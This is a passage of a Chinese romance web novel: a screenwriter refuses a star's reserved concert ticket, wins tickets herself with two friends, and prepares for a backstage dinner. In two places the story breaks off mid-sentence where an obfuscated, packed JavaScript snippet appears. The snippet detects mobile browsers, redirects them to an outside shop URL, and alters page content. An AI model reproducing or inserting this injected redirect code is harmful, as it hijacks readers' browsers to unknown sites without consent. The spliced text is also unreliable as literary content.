闻朝在他开口解释或道歉之前,已经回过神来,率先说,声音比刚才平稳了许多,“你先去忙吧,工作要紧。”她甚至微微弯了下唇角,“我们……有时间再聊。” 那句“有时间再聊”说得轻飘飘的。 沈淮时看着她,那双总是善于隐藏情绪的眼睛里,此刻却有清晰的情绪在激烈翻涌。几秒钟的僵持与挣扎后,他像是下定了某种决心,再次开口时,声音比刚才更低,却带着一种不容错辨的认真: “拍摄很快,不复杂,就是补几个空镜和街景素材。”他语速稍快,“你……”他顿了顿,目光紧紧锁住她的眼睛,那里面闪烁着一点小心翼翼的期待,“能不能先在这里,等我一下?” 怕她拒绝,他又立刻补充,语气带上了一丝罕见的急切,“我保证,很快回来。处理完那边,我马上回来找你。” 如果感情真的是一场需要冷静计算得失的博弈,闻朝想,她的败局或许早在他于这千里之外的异乡、独独认出她那个模糊背影并毫不犹豫朝她走来的那一刻,就已经注定了。 又或者,更早,早在那个愚人节夜晚,她对着旋转的瓶口清晰说出“有”字的时候;早在更早的、连她自己都未曾明晰察觉的初次心动瞬间…… 此刻,看着他眼中那点小心翼翼的、近乎脆弱的期待,拒绝的话语在舌尖苦涩地绕了又绕,终究没能找到出口的力量。 她望着他,很轻、却很肯定地,点了点头。 见她点头应允,沈淮时眼中那点原本有些不确定的光彩,瞬间亮了起来,如同被骤然拨亮的烛火。嘴角扬起的弧度变得真切而生动。 “我会很快回来的。”他又强调了一遍,语气郑重。然后迅速站起身,对身旁的许安点了点头。 他的背影很快穿过书架,消失在书店门口那片被阳光照得明晃晃的街景中,融入古城午后慵懒的人流里。 闻朝没有立刻离开这张沙发。她重新坐定,甚至下意识地挺直了背脊。手指无意识地蜷缩起来,指尖冰凉。她拿起矮几上那本《中国古典美学》,试图重新聚焦视线,但书页上的铅字却像一群黑色的、毫无意义的蚂蚁,在她眼前混乱爬行。 思绪凌乱不堪,却又不由自主地飘向那个刚刚离去的身影。 他为什么会在这里?什么样的拍摄需要他这样一身便装、低调出现?他看起来有些疲惫,是行程太满吗?那句“我的粉丝”……到底有多少玩笑,又有多少认真的成分? 窗外的风似乎停了,连那盆龟背竹的叶子都静止不动。 对于沈淮时,她似乎从来都是这般“心甘情愿”。一如在《骤雪止》剧组那些日日夜夜,她总是习惯性地、安静地站在人群外围,做一个沉默的观察者与记录者。 那时,她的“心甘情愿”,是出于对创作的尊重,是对同行者极致专业精神的钦佩与共鸣,或许,也夹杂着一些连自己都未曾深究的、被那强大专注力所吸引的微妙情愫。 而此刻,在这千里之外的、完全脱离了一切既定身份与工作关系的异乡书店,等待他“很快回来”的每一分、每一秒,都被无形地拉长,填充进一种前所未有的、微妙的忐忑与不安。 她竟开始不受控制地担心,担心这会不会真的只是一场短暂交汇后的美丽错觉?担心他会不会被工作拖住,无法脱身?担心那个总是被日程与责任驱赶着的他,会不会在转身之后,就将这场偶遇当作一个无需在意的插曲? 时间,在书店舒缓流淌的民谣吉他声中,在偶尔响起的、店员擦拭杯碟的轻微碰撞声里,被切割成无比缓慢而清晰的颗粒,一颗一颗,滴落在她紧绷的神经上。 她坐在那里,手里拿着那本再也读不进去的书,目光时而落在门口的方向,时而茫然地投向窗外被屋檐切割成方块的蓝天。 等待,第一次显得如此具体,又如此不确定。 48. 我想堂堂正正坐到你的观众席里^…… 时间被无限拉长。 书页上的字迹模糊成一片,咖啡凉透的瓷杯边缘凝着细小的水珠。 闻朝坐姿未变,指尖无意识地摩挲着书页粗糙的边缘,耳朵却仿佛自动过滤了书店里所有的背景音,只捕捉着门口风铃每一次被推响的动静。 不是他。 一个背着登山包的游客探头看了看,又退了出去。 不是他。 两个挽着胳膊的女孩说说笑笑进来,直奔文创区。 依旧不是他。 每一次风铃响动都让她的心轻轻一提,又缓缓落下,像潮汐反复冲刷着沙滩,留下更深的焦灼痕迹。 她甚至开始怀疑,刚才那场短暂的重逢,会不会只是自己连日复习压力下产生的幻觉?或者,是这古城过于悠闲的氛围,催生的一场白日梦? 就在她几乎要说服自己放弃等待,准备起身离开时,门上的风铃再次清脆地响了起来。 这次,她没有立刻抬头。 脚步声很轻,却带着一种熟悉的节奏,穿过几排书架,径直朝这个角落走来。 直到那片深灰色的衣角进入视野余光,她才慢慢抬起眼。 沈淮时站在沙发旁,呼吸还有些未平,额角有细密的汗,但眼睛很亮,像被山间的风和水汽洗过。他已经摘掉了帽子,头发有些凌乱地搭在额前,反而褪去了几分刻意,多了些真实的少年气。 “等很久了?”他声音里还带着点微喘,但笑意真切,“那边比预想的顺利,就是赶回来有点急。” 闻朝摇了摇头,没说话。心里那块悬着的石头,终于“咚”一声落了地,激起一圈复杂的涟漪。有安心,有释然,还有一丝连自己都分辨不清的、更隐秘的情绪。 沈淮时在她对面重新坐下,这次坐得更放松了些,身体微微陷进沙发里。 他的目光落在她手边那本摊开的《中国古典美学》上,又移到旁边写满批注的笔记,最后回到她脸上。 “复习得怎么样?”他问得很自然,仿佛他们昨天才见过,仿佛她备考北大中文系是件他早就知道、并且理应关心的事。 闻朝愣了一下,随即反应过来。以他的消息网,知道这个并不奇怪。 她垂下眼睫,看着笔记上密密麻麻的字迹,“还好。就是……有点枯燥,有时候会烦。” “正常。”沈淮时端起桌上许安不知何时送过来的一杯温水,喝了一口,“做任何事,钻到深处都会遇到枯燥期。” 他放下杯子,指尖在杯壁上轻轻敲了敲,“不过,你能选这条路,我其实……不太意外。” 闻朝抬眼看他。 “你身上一直有股劲儿,”他看着她,眼神很专注,“不是那种外放的、急着要证明什么的劲儿,是往里收的,像树根往土里扎,非要扎到最深处,看到底有什么的那种劲儿。” 他顿了顿,嘴角牵起一个很淡的弧度,“这种劲儿,适合做学问,也适合写出真正有分量的东西。” 他的话很平常,甚至算不上多么精妙的夸赞。但闻朝却觉得心里某个地方被轻轻撞了一下。 不是因为被理解,虽然也有,更多的是因为,他能看见。看见那些连她自己都未必时时清晰感知的、藏在安静表面下的暗流与执拗。 “谢谢。”她低声说,手指无意识地蜷了蜷。 沈淮时没再继续这个话题,转而从那个磨损了边角的帆布包里,拿出一个素白的、没有任何标识的信封,放在两人中间的小矮几上。 “这个,”他推到她面前,语气随意,但眼神里带着点不容错辨的认真,“给你的。” 闻朝看着那个信封,没动。 “九月二十一,北京,‘拾光·映迹’演唱会。”沈淮时看着她,声音平稳,但每个字都清晰,“内场最好的位置。不是嘉宾票,是预留的亲友席,离舞台近,视野好,不会被粉丝区干扰。” 他顿了顿,补充道:“带朋友来也可以,座位是连着的。” 空气安静了几秒。书店里流淌的民谣换了首更舒缓的曲子,吉他声潺潺如溪水。 闻朝的目光从信封移到沈淮时的脸上。他正看着她,眼神坦荡,甚至带着点隐隐的期待,仿佛送出这份邀请是件再自然不过的事。 她沉默了片刻,然后,很轻,但很清晰地说:“我不要。” 沈淮时脸上的表情凝滞了一瞬,眼里的光微微晃动了一下,像是没听清,或者没理解,“什么?” “我说,我不要。”闻朝重复了一遍,声音依旧很轻,却带着一种不容置疑的坚定,“你的演唱会,我想自己抢票去看。” 沈淮时完全愣住了。 他大概设想过很多种她收到票时的反应,欣然接受,客气感谢,或者因为羞涩而推辞。但他独独没想到会是这样直接的、带着某种倔强意味的拒绝。 “为什么?”他下意识地问,眉头微微蹙起,“自己抢票……很难,而且位置不一定好。这是预留的,更方便。” “我知道很难。”闻朝迎着他的目光,那双总是沉静温和的眼睛里,此刻却透出一种罕见的、近乎执拗的光,“但我想试试。用所有想看你演唱会的她们一样的方式。” 她停了一下,似乎在组织语言,又似乎在确认自己内心的真实想法。 “沈淮时,”她叫他的名字,很认真,“在剧组的时候,我是编剧闻朝,我们是为了同一个作品并肩工作。离开剧组,现在坐在这里,我是你的……” 她顿了顿,那个呼之欲出的“粉丝”在舌尖打了个转,最终还是换了个更确切的词,“观众。一个普通的、喜欢看你演戏、也想听你唱歌的观众。” 她的语速不快,每一个字都像是仔细斟酌过。 “观众和偶像之间,应该有一种……公平的距离。你站在台上发光,我坐在台下仰望。这份仰望,是我自己选择的,也应该由我自己来争取,用和其他所有人一样的方式,去抢那万分之一的机会。” 她看着他的眼睛,声音很轻,却字字清晰,“如果连一张票都要靠特别的渠道拿到,那这份‘喜欢’,好像就……不那么纯粹了。我想靠自己的运气和手速,堂堂正正地坐到你的观众席里。” 沈淮时静静地听着,脸上的表情从最初的错愕,慢慢变得复杂。 他看着她,看着她眼睛里那簇认真到近乎天真的光,看着她微微抿起的、透着倔强的嘴角。 心底深处,有什么东西被轻轻触动了,内心泛起了一种更微妙的、混合着讶异、欣赏,以及一丝……连他自己都尚未理清的情绪。 他见过太多人为了接近他、拿到与他相关的任何一点特权而费尽心机。也习惯了以这种预留票的方式,给一些重要的人提供便利。 这在他所处的世界里,是常态,是规则,甚至是一种身份带来的、理所当然的“照顾”。 但闻朝不要。 她不要这份“特殊”。她要把自己放回那数以万计的、普通的“观众”之中,去经历同样的焦灼、期待和不确定性。 她要那份凭自己本事“抢”来的资格。 这很傻。在这个圈子里,简直傻得有点天真,有点不合时宜。 但不知道为什么,沈淮时却觉得,这份“傻气”,像一道清冽的泉水,毫无预兆地冲刷过他早已被各种规则和算计浸染得有些麻木的心。 他沉默了很长时间,久到闻朝几乎以为他生气了,或者觉得她不可理喻。 然后,他忽然低低地笑了起来。 不是那种礼貌的、敷衍的笑,而是从喉咙深处溢出来的、带着点无奈,又带着点真切的愉悦的笑声。他抬手揉了揉眉心,摇了摇头。 “闻朝,”他叫她的名字,声音里还残留着笑意,眼神却格外认真,“你真是……我见过最奇怪的人。” 闻朝没说话,只是看着他,眼神清澈而坚持。 沈淮时笑了好一会儿,才慢慢停下来。他重新看向那个素白的信封,伸手将它拿了起来,没有收回,而是轻轻放在了闻朝手边那本聂鲁达诗集上。 “好。”他说,声音恢复了平日的沉静,却多了一丝说不清道不明的温和,“我尊重你的选择。票,我收回。” 闻朝心里松了一口气,紧绷的肩膀微微放松下来。但下一秒,沈淮时的话又让她微微睁大了眼睛。 “不过,”他话锋一转,嘴角又勾起那抹熟悉的、带着点促狭的弧度,“作为被你拒绝‘特殊照顾’的补偿……如果,我是说如果,你真的抢到了票——” 他故意拖长了语调,看着她。 “不管抢到的是什么位置,哪怕是山顶最后一排。”他眼里闪着光,“演唱会结束后,我在后台等你,带你去吃夜宵。不是应酬,就……单纯吃个饭。这个‘补偿’,总可以接受吧?” 他的语气里带着一种笃定的、不容拒绝的温和力道,却又巧妙地留给了她回旋的余地。 闻朝看着他,看着那双含着笑意、却又深邃得仿佛能看进人心底的眼睛。拒绝的话再次在舌尖打转,却失去了刚才的力度。 沈淮时那句“演唱会结束后,我在后台等你。带你去吃夜宵”落下后,空气里便浮动着一种微妙的寂静。 闻朝的目光落在那本聂鲁达诗集上,素白信封的痕迹早已不在,但那句只是指尖无意识地捻着书页的一角,将那纸捻得微微发皱。 沈淮时也没有催她回答。他向后靠进沙发里,姿态放松,目光却依然停留在她低垂的侧脸上,看着她长睫在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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闻朝站在原地,直到那声音彻底听不见了,才缓缓坐回沙发里。身体陷进柔软的皮质中,刚才绷着的那股劲儿忽然就泄了,取而代之的是一种空落落的、却又异常清晰的疲惫感。 她伸手拿过那本聂鲁达,随手翻开一页。目光扫过那句“爱情太短,而遗忘太长”,指尖微微一顿,随即又轻轻翻了过去。 “都怪自己逞口头之快……”她小声嘀咕了一句,揉了揉眉心。但说归说,心里却并不后悔。那是她的坚持,她不想模糊掉。 不过,单打独斗显然不明智。她立刻想起了自己强大的“后援团”,宋枝和陆易安。闺蜜是用来干嘛的?不就是在这种关键时刻,薅来当“抢票牛马”的吗! 她立刻拿出手机,找到宋枝的微信,一个电话拨了过去。电话很快接通,背景音有些嘈杂,似乎是在医院走廊。 “喂?朝朝?怎么这个点给我打电话?想我啦?”宋枝的声音一如既往地充满活力。 “枝枝,有件大事需要你支援!”闻朝开门见山。 “说!上刀山下火海,姐妹为你两肋插刀!”宋枝豪气干云。 “倒也不用那么夸张……”闻朝把沈淮时演唱会的事情简单说了,重点强调了自己拒绝了赠票、决定靠实力抢票的“壮举”。 电话那头沉默了三秒。 然后,宋枝的咆哮几乎要冲破听筒,震得闻朝不得不再次把手机拿远: “闻朝你是不是备考把脑子备瓦特了?!啊?!他!沈淮时!亲自!要给你留内场最好位置的票!你!不要!你非要自己去抢那堪比春运的票?!你是不是有什么大病啊?!啊?!挂号了吗?!需要我给你介绍我们医院精神科最好的大夫吗?!!” 闻朝等她那阵“狮吼功”过去,才把手机贴回耳边,揉了揉饱受摧残的耳朵,小声但坚定地解释:“哎呀,你不懂……这不一样。我就是想……” “你想什么?你想体验民间疾苦?你想证明你作为粉丝爱得深沉?你知不知道现在黄牛把他演唱会前排票炒到多高了?你钱多烧得慌是吧?”宋枝还在气头上,连珠炮似地发问。 闻朝知道跟此刻的宋枝讲不通她那点“执念”,只好采取怀柔政策,放软了声音,“好枝枝,我知道你最好啦……你就帮帮我嘛,多一个人多一分力量,到时候我叫上易安,统一指挥,好不好?抢到了我请你们吃大餐!全程VIP待遇!” 或许是“大餐”和“VIP待遇”打动了正在啃食堂的宋医生,又或许是听出了闻朝语气里的认真和坚持,宋枝终于哼哼唧唧地妥协了,“……行吧行吧,服了你了。到时候把具体开票时间、平台、链接都发群里。我尽量调个班……不过先说好,抢不到可别怪我,也别后悔没要赠票!” “不怪你不怪你,不后悔!”闻朝连忙保证。 挂了电话,她轻轻舒了口气。有了援军,心里踏实了不少。 49. 支付成功,订单已生成 挂断宋枝的电话,闻朝心里那点孤军奋战的悲壮感消散了不少。她紧接着又给陆易安拨了过去。 和宋枝的咋咋呼呼不同,陆易安听完,只冷静地问了三个问题:“开票具体时间?平台链接?需要我们提前准备什么账号信息?” 闻朝一一告知。 “行,我知道了。”陆易安的声音平稳,听不出什么情绪,“到时候我和宋枝会准时上线。不过朝朝,有句话我得说在前头。” “嗯?” “你拒绝了赠票,选择自己去抢,这个选择本身我理解,也尊重。”陆易安顿了顿,“但你想过没有,如果你真的抢到了,去了演唱会,又真的在结束后去赴那个‘夜宵之约’……这意味着什么?” 闻朝握着手机的手指,微微收紧。 “意味着,你们之间的关系,可能再也回不到简单的‘前同事’或者‘偶像与观众’了。”陆易安的声音透过听筒传来,清晰而理性,“那将是一次完全私人的、脱离工作场合的见面。舆论,团队,粉丝……这些你都需要考虑清楚。你准备好面对可能发生的一切了吗?” 这些话像一盆冷静的冰水,让闻朝因为重逢和约定而有些发热的头脑,瞬间清醒了不少。她沉默了片刻。 “……我知道。”她的声音低下去,“易安,我知道这很复杂。但我……就是想这么做。至少这次,我想遵循自己的心意,不去想那么多‘应该’和‘后果’。” 电话那头,陆易安似乎轻轻叹了口气,但再开口时,语气里带着一贯的支持,“明白了。那就去做吧。我和宋枝,会帮你把‘抢票’这个第一步,走稳。” 有了两位好友的鼎力支持,闻朝心里那块最大的石头落了地。 接下来的日子,闻朝一边按部就班地复习,一边开始“备战”。 原本的闺蜜群名被宋枝改成了“沈顶流抢票敢死队(严肃版)”,颇有些视死如归的悲壮。 群里消息不断。 宋枝:【最新线报!粉丝群有人总结,用5G网络抢到的几率好像比WiFi高!玄学!绝对的玄学!】 宋枝:【还有!抢票前半小时重启手机!清理所有后台!只留支付软件和购票APP!】 宋枝:【@闻朝@陆易安身份证信息、收货地址都提前填好了没?检查三遍!】 陆易安:【已检查。建议提前半小时进入页面,不断刷新直到出现按钮,不要等倒计时结束。】 闻朝:【收到。平台开了“提前预约抢票”功能,已经都约上了。】 宋枝:【约了没用!到时候还是拼手速和网速!我已经让我弟、我表哥、我室友都帮忙了!人多力量大!@闻朝你别一根筋,多几个人帮你点怎么了?】 闻朝看着宋枝这条消息,指尖在屏幕上停顿了几秒。 她想起书店里沈淮时那双含笑的眼睛,想起自己说“我想自己抢”时的坚持。她当然知道宋枝是为她好,但她不想让这份坚持变得面目模糊。 她慢慢打字:【枝枝,谢谢。不过……这次,我想真正靠我自己。你和易安帮我,就已经是‘我们自己人’的力量了。再多……感觉就变味了。我想试试,只凭我们三个,能不能行。】 群里安静了一会儿。 陆易安发来一个点头的表情包。 宋枝发来一串省略号,然后是一句:【……行吧。服了你这个老六。那就我们三个!输了不许哭!】 周五,开票日。 闻朝依然选择了那家网络信号最好的咖啡馆,老位置。陆易安在学校的图书馆机房,据说那里的网络“稳如老狗”。宋枝则窝在家里,宣称已经祭出了“祖传的抢票专用路由器”,并焚香沐浴,严阵以待。 傍晚七点半,“敢死队”群里气氛凝重。 宋枝:【姐妹们,最后检查设备!网络!身份证!地址!支付密码!】 陆易安:【一切就绪。】 闻朝:【就绪。】 宋枝:【好!让我们高呼口号——】 陆易安:【……】 闻朝:【……】 见她俩没回,宋枝也不尴尬,自己接上:【为了朝朝的爱情(划掉)!为了我们的尊严!冲啊!!!】 闻朝看着屏幕上那句欲盖弥彰的“划掉”和无比清晰的“爱情”,脸腾地一热,差点把手机扔出去。 七点五十九分。 闻朝屏住呼吸,指尖悬在鼠标和键盘上,眼睛死死盯着屏幕上的倒计时。世界的声音仿佛都消失了,只剩下她自己如擂鼓般的心跳,和屏幕上那冰冷跳动的数字。 八点整。 点击!刷新! 意料之中的卡顿,一片令人绝望的空白。 左上角的小圈圈转得人心浮气躁。她没有像上次那样只等,而是严格按照陆易安的“科学抢票法”,在卡顿三秒后果断点击返回,再次尝试进入。 一次,两次……页面在令人窒息的卡顿和“当前访问人数过多”的红色提示间反复横跳。 额角的汗顺着鬓角滑下来,她也顾不上擦。 第五次尝试。 页面跳转的瞬间,她甚至没看清是什么,只是凭着本能和无数次模拟练习形成的肌肉记忆,用最快速度点击了屏幕上出现的、代表“价位”的按钮,然后在下一个页面加载出来的瞬间,狂点“选座”区域。其实她根本没时间看座位图,哪里能点就点哪里! 又是一阵卡顿。 这次卡顿的时间更长。长到她几乎能听到血液冲上头顶的轰鸣声,长到她开始怀疑是不是网络彻底断了。 就在她指尖冰凉,几乎要放弃的时候,页面猛地加载出来:是付款界面! 座位信息跳了出来:内场,B区,15排,18座。 不是最好的A区,但也是不错的内场位置! 没有一丝犹豫,她以这辈子最快最稳的手速,选择支付,输入密码,确认! 【支付成功!】 【订单已生成!】 成了! 几乎是同一时间,手机在桌上疯狂震动起来。不是电话,是“敢死队”群里的消息爆炸。 宋枝:【啊啊啊啊啊啊啊啊啊!!!!!!!!我抢到了!!!!我抢到了啊!!!!B区14排19座!!!】 陆易安:【A区,8排12座。】 平静无波的一句话,后面跟着一张订单截图。 宋枝:【??????@陆易安你还是人吗?!A区前排!你怎么抢到的?!快说!是不是用了什么不可告人的黑客技术?!】 陆易安:【正常流程。可能是机房网络延迟低。】 宋枝:【……我恨!】 闻朝看着瞬间刷上去的几十条消息,看着那三张虽然座位不同、但都显示“支付成功”的截图,内心突然涌出一股巨大的、不真实的狂喜和虚脱感。 她靠在椅背上,长长地、颤抖着舒出一口气,这才发现后背的衬衫已经湿了一片,指尖冰凉,却在微微发抖。 她们三个……竟然都抢到了! 不是靠黄牛,不是靠关系,是实打实地,在成千上万人中,靠自己的手速和运气,抢到了这三张珍贵的门票。 闻朝拿起手机,手指因为激动还有些不稳,她在群里打字,发出去才发现自己打了一串乱七八糟的字符。 她删掉,重新输入。 闻朝:【我也……B区15排18座。@宋枝我们挨着!@陆易安……你太强了。】 宋枝:【(疯狂转圈表情包)这是什么神仙运气!什么神仙姐妹!我们三个是开了光吗?!啊!我要疯了!朝朝!我们可以一起去看了!VIP姐妹团出道!】 陆易安:【嗯,挺好。记得请吃饭。@闻朝】 闻朝看着屏幕上激动万分的宋枝和冷静如常的陆易安,眼眶忽然有点发热。她用力眨了眨眼,把那点湿意憋了回去,嘴角却控制不住地高高扬起。 真好。真的太好了。 喧嚣过后,一种奇异的平静弥漫开来。群里,宋枝已经开始疯狂讨论穿什么衣服、化什么妆、要不要做应援手幅,陆易安偶尔插一句实用的建议,比如“场馆内冷气足,带件外套”、“提前查好交通路线”。 闻朝看着她们热火朝天地讨论,心里那点因为抢票成功而激荡的情绪慢慢沉淀下来,变成一种温暖而坚实的喜悦。 就在这时,手机又震动了一下。 是他。 沈淮时:【结果如何?】 短短四个字,却让闻朝的心轻轻一跳。 闻朝:【抢到了。还带上了两个“帮手”。】 她想了想,又补充一句,【靠我们自己。】 消息发出去,她看着对话框上方。过了几秒,显示“对方正在输入…”。 然后,他的回复跳了出来。 沈淮时:【厉害。】 就两个字,但闻朝仿佛能透过屏幕,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346678|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他微微挑眉、有些讶异又带着笑意的样子。 紧接着,又是一条。 沈淮时:【座位?】 闻朝把三个人的座位信息发了过去。 沈淮时那边安静了片刻。 沈淮时:【位置不错】 沈淮时:【看来,我得准备一个足够大的包厢,或者……换张大点的桌子。】 这句话带着明显的调侃,甚至有那么一丝……隐隐的期待。 闻朝的脸颊微微发热。 她还没想好怎么回,宋枝发来了语音,她点开,下一秒,宋枝的大嗓门响起:“朝朝!你跟谁发消息呢?是不是沈淮时?快问问后台夜宵有没有限定人数!我们三张票呢!能不能带家属……啊不,带闺蜜?!” 闻朝:“……” 最终,她只是回复了沈淮时一个简单的表情。 消息发出去后,她握着手机,等待着。这一次,没有立刻显示“对方正在输入…”。屏幕安静了几秒。 就在她以为他可能正在忙,不会立刻回复时,消息进来了。 沈淮时发来了一张图片。 点开,是一张后台的局部照片。看起来像休息室的一角,灯光柔和,沙发上随意搭着一件外套,旁边的小几上放着一个保温杯,杯身上映出窗外城市的点点灯火。构图随意,甚至有些模糊,不像精心拍摄的宣传照,更像随手的生活记录。 图片下面,跟着一行字。 沈淮时:【后台休息室,今晚拍的。有点乱,别介意。】 闻朝看着那张照片,目光落在那只普通的保温杯上,落在那片映出的、模糊的灯火上。没有华丽的舞台,没有耀眼的光束,只是一个疲惫工作间隙,最寻常不过的角落。 他却把它拍下来,发给了她。 这比任何话语都更直接地,他在分享。分享他工作之外,那个不那么“沈淮时”的、真实的瞬间。 她指尖在屏幕上轻轻摩挲,打字,删除,又打字。最终,只回了一句话。 闻朝:【看到了。你注意休息。】 沈淮时没有再回复。 但那张照片,却长久地留在了闻朝的相册里,也留在了她的脑海里。像一个无声的约定,比“后台等你”那句话更具体,也更让人心安。 接下来的日子,重新被复习和备考填满。但空气里仿佛多了一丝轻盈的期待,像远处隐隐传来的、微甜的香气。 宋枝和陆易安在群里讨论演唱会的次数渐渐少了,大家都回到了各自忙碌的轨道。只是偶尔,宋枝会发来一条“又循环到他的新歌了,现场听肯定炸裂!”,陆易安则会提醒一句“记得提前取票,避开人流高峰”。 时间在书页翻动和笔尖沙沙声中,悄然滑向九月。 闻朝结束了在大理的短期旅居,拖着行李回到郑州。毕业后的生活正式拉开序幕,她大部分时间泡在市图书馆,继续备考冲刺。偶尔出门,路过音像店或商场,看到沈淮时代言的巨幅海报,或听到店里播放他的歌,她会停下脚步,看一会儿,听一会儿,然后平静地走开。 那些曾经让她心悸、慌乱的情绪,似乎在这场“抢票战役”和那张后台照片之后,沉淀了下来,化作心底一片温润而坚定的基石。 她依旧是她,是备考的学子,是默默努力的写作者。只是生命里,多了一个值得奔赴的约定,多了一份沉甸甸的、被认真对待的期待。 九月中旬,一个普通的下午,闻朝收到了快递短信。取回来,是一个没有任何寄件信息的厚实文件袋。 拆开,里面是三张印刷精美的演唱会实体票,正是她们抢到的座位。票被小心地封装在透明的保护套里。除此之外,还有三张同样材质、但设计更加简约的黑色卡片,上面手写着一行字: “欢迎到来。后台通道凭证,请妥善保管。——沈” 字迹是她熟悉的清峻笔锋。 闻朝拿着那三张黑色的凭证卡片,看了很久。然后,她把票和卡片仔细收好,拍了一张照片,发到了“敢死队”群里。 群里再次沸腾。 宋枝:【!!!这是VIP中的VIP通行证吗?!沈淮时亲自写的?!朝朝你面子太大了!】 陆易安:【嗯,安排得很周到。】 闻朝没有在群里多说什么。她只是看着那三张卡片,心里最后一点关于那晚“后台之约”是否只是随口一提的不确定,彻底烟消云散。 他是认真的。 50. 欢迎来到‘回响\’ 他是认真的。 这个认知,像一颗投入深水的石子,在闻朝看似平静的生活表面下,激荡起一圈圈隐秘而持久的涟漪。 实物票和那张手写凭证的出现,将原本还有些飘渺的约定,瞬间拉到了触手可及的现实面前。 九月二十一日,不再仅仅是日历上的一个数字,一个需要奔赴的日期,它变成了一个具象的、充满重量和细节的夜晚:灯光璀璨的场馆,震耳欲聋的音乐,沸腾的人群,以及……散场后那片属于后台的、相对安静的天地,和那张需要“换张大点桌子”的夜宵。 宋枝的亢奋在收到实体票后达到了新的高峰。她几乎每天都要在群里@闻朝和陆易安,讨论穿搭、妆容、应援物,甚至开始研究北京九月末的天气,郑重建议“既要美,又不能感冒,最好准备一件好看又保暖的外套”。 陆易安则一如既往地冷静,只提醒她们提前订好往返车票和住宿,规划好路线,并再次强调“证件带齐,注意安全”。 闻朝表面上和她们一起讨论,心里却另有一番兵荒马乱。 她开始不着痕迹地、连自己都未必察觉地,为那个夜晚做准备。 路过商场时,会不自觉地多看几眼橱窗里那些设计简约又有些别致的小裙子。以前随手扎起的马尾,现在对着镜子梳头时,会多几分犹豫。甚至某天整理书架,翻到那本在大理书店读过的聂鲁达诗集,指尖拂过书脊,也会莫名停顿几秒。 这些细微的变化,逃不过宋枝的火眼金睛。 “朝朝,”某次视频时,宋枝眯着眼睛,像侦探一样打量她,“你最近……有点不一样哦。” “有吗?”闻朝下意识摸了摸自己的脸,“可能是复习太累,脸色不好吧。” “不是脸色。”宋枝凑近屏幕,试图看得更清楚,“是……一种氛围。怎么说呢,以前是‘遗世独立小白花’,现在是……嗯,‘小白花悄悄开了花苞,有了点活色生香的感觉’。” 闻朝被她这乱七八糟的比喻逗笑了,心里却有点虚,“别胡说八道,我看你是被病人和论文折磨出幻觉了。” “切,你就嘴硬吧。”宋枝也不深究,转而兴致勃勃地问,“哎,说正经的,夜宵你打算穿什么去?总不能穿着应援T恤去吧?那可是后台!说不定还有别的艺人或者工作人员呢!” 这个问题,闻朝其实也偷偷想过,但一直没想出个所以然。穿得太正式,显得刻意;穿得太随意,又好像不够重视。她甚至想过,要不要干脆就穿去看演唱会的那一身,自然过渡。 “还没想好。”她含糊道。 “我帮你参谋!”宋枝立刻来了精神,“你得穿得……嗯,既不能太‘粉丝’,又不能太‘路人’。要有点小心思,但又不张扬。最好能衬得你气质特别好,让他一眼看过去就……” “宋枝!”闻朝脸颊发烫,及时打断她越来越离谱的想象,“吃个夜宵而已,你想什么呢!” “哦——夜、宵、而、已。”宋枝拖长了语调,意味深长地笑,“行行行,夜宵,夜宵。那夜宵穿什么也很重要嘛!第一印象分!” 最终,在宋枝的远程“胁迫”和陆易安偶尔一句“舒适得体最重要”的理性建议下,闻朝提前一周,去商场买了一条米白色的针织连衣裙,款式简单,剪裁合身,外面可以搭一件浅灰色的开衫。 不算特别出挑,但足够温婉干净。鞋子也换上了一双柔软的平底乐福鞋,考虑到可能的走动和久站。 把这些“战利品”拍照发到群里,宋枝发来一连串“孺子可教”的表情包,陆易安则回了个“不错”。 衣服准备好了,心里的那根弦却绷得更紧了。 时间越临近,闻朝越能清晰地感觉到自己的紧张。这种紧张和抢票时的孤注一掷不同,它是一种混合了期待、忐忑、羞怯,甚至有一丝害怕的复杂情绪。 害怕什么?她说不清。怕见面无话可说?怕现实不如想象?怕那份好不容易沉淀下来的心情再次被打乱? 她开始频繁地做同一个梦。梦里是喧闹的演唱会现场,灯光刺眼,音乐震耳,她坐在内场,看着舞台上那个光芒万丈的身影,很近,又很远。散场后,人群如潮水退去,她拿着那张黑色凭证,走向后台。通道很长,灯光昏暗,她走了很久,却始终找不到那扇门。 醒来时,手心总是汗湿的。 她把梦告诉陆易安。陆易安沉默了一下,说:“日有所思。你对这次见面赋予的意义太重了。放轻松,就当是见一个……很久不见、合作过的朋友。” 朋友。这个词让闻朝心里一动。他们算朋友吗?在《骤雪止》剧组那些并肩作战、默契无间的日子里,或许算。但离开那个特定的环境,掺杂了那些未曾言明的情愫和如今悬殊的身份,这个词又显得太轻,也太模糊。 她试着用陆易安的话安慰自己:只是一次普通的见面,一次夜宵。不要想太多。 但理智是一回事,情感是另一回事。 终于,日历翻到了九月二十日。 闻朝提前一天抵达北京。宋枝也从实习的医院请了假,陆易安则从学校直接过来。 三人在提前订好的酒店汇合。房间是标间,宋枝一进门就扑到床上打了个滚,“啊!自由!解放!明天就能看到活的了!” 陆易安放下行李,检查了一下房间设施,然后看向闻朝,“你看起来有点累,黑眼圈。” “昨晚没睡好。”闻朝老实承认。 宋枝立刻从床上弹起来,凑到闻朝面前,仔细看了看,“啧啧,这哪是没睡好,这是思……唔!” 闻朝眼疾手快地捂住她的嘴,耳根发红,“你再胡说,明天不带你去后台了!” 宋枝立刻做投降状,眼神却依然促狭。 